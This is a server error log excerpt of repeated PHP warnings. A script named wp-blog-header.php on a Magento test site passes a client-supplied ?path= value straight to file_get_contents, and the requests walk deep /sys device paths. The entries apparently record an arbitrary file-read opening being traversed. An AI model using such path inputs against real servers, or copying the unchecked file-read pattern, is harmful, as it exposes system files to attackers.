[Thu Mar 26 11:57:32.551904 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:57:35.660602 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fe
[Thu Mar 26 11:57:36.727391 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ac
[Thu Mar 26 11:57:39.424132 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ee
[Thu Mar 26 11:57:41.239499 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec
[Thu Mar 26 11:57:41.767669 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:57:49.274755 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:aa
[Thu Mar 26 11:57:51.375594 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:57:51.917343 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:57:54.552152 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 11:57:56.102995 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:57:59.849826 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:58:00.353499 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:58:00.871706 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:da
[Thu Mar 26 11:58:03.082321 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:de
[Thu Mar 26 11:58:07.853070 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 11:58:10.081276 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:58:11.662039 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:ea
[Thu Mar 26 11:58:14.884435 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:58:15.964320 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
[Thu Mar 26 11:58:24.379611 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:58:24.855801 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fa
[Thu Mar 26 11:58:25.439853 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:58:29.150693 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ca
[Thu Mar 26 11:58:36.659218 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:58:37.158054 2026] [php:warn] [pid 3106405] [client 74.7.241.26:43018] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 11:58:40.484916 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:aa
[Thu Mar 26 11:58:42.130036 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ba
[Thu Mar 26 11:58:47.400619 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:bc
[Thu Mar 26 11:58:50.524050 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:58:53.088207 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:bc
[Thu Mar 26 11:58:54.802982 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ec
[Thu Mar 26 11:58:58.036672 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:59:00.639195 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 11:59:04.892109 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:cc
[Thu Mar 26 11:59:05.959378 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:59:14.556667 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:59:16.792977 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:fa
[Thu Mar 26 11:59:17.366829 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:be
[Thu Mar 26 11:59:20.546736 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ec
[Thu Mar 26 11:59:21.085772 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fa
[Thu Mar 26 11:59:22.128213 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:59:23.779908 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:fa
[Thu Mar 26 11:59:26.330781 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ac
